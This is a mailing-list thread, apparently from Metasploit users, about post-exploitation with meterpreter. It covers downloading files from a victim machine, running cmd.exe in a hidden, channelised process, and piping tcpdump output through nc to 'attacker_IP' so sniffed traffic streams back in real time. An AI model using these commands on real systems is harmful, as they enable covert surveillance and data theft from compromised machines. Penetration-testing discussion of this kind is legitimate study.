Thanks Anastasios,

So, am I correct in assuming this is how one is dumped into a Windows shell
after executing an exploit on a vulnerable Windows machine?


Bryan, if I am following you correctly, yes, using the download command
supplied by meterpreter payload you can get a file from victim's machine to
your machine. Note that in the case of windows you will have to escape the \
with an extra \ when(if) specifying the full path of the file's source and
destination, obviously if you do "download file.txt file.txt" it will try to
get the file from victim's current directory and save it to your current
directory.


I was hoping that I could 'channelize' a traffic sniffer such that the
sniffed traffic would be sent back to me in real time for real time
analysis... it doesn't seem like this is the case.


I agree, real-time traffic in some environments really helps the whole task

Ultimately, what would be cool is to have my real-time traffic analysis
software listening on a particular port and have some way of sending the
sniffed traffic from the compromised machine to that particular port on my
local machine.


I think it worths trying piping your live data through nc as we do with dd,
but I am not sure if it will work in your case, oh you will have to let your
nc traffic pass the firewall.

For example:
On victim you can try something like: tcpdump -e host victim_ip and port 23
| nc attacker_IP attacker_listening_port
On attacker: nc -l -p attacker_listening_port | wireshark -i -
     Taken from wireshark's man
           " .... Pipe names should be either the name of a FIFO (named
pipe) or
           ''-'' to read data from the standard input.  Data read from pipes
           must be in standard libpcap format...."

Last you may also play with the channel read/write options, so to pass nc's
traffic through the channel (?), maybe someone else can reach more light
here

Let us know what worked and what didnt anyway

Tasos

Hello All,

Would someone mind explaining to me what 'channelized' is and how it
works?


You can use "channelisation" in cases where you wish to work with multiple
communication channels that will be tunnelled through one tcp/ip session.

Channels are supported by the meterpreter payload, and to channelise you
can do:

meterpreter > execute -f cmd.exe -H -c //this will execute the file
cmd.exe, it will hide the process window and it will channelise the task

Process 1234 created.  //this is output from meterpreter

Channel 2 created.//this is output from meterpreter

meterpreter > //now use meterpreter as usual to do your other stuff

meterpreter > interact 2 //now interact with channelised cmd.exe



I'm wanting to try and use it to send sniffed traffic back to me from a
compromised machine that I upload a traffic sniffer to...


For already saved captured data you could use the upload/download commands
(again from within meterpreter)
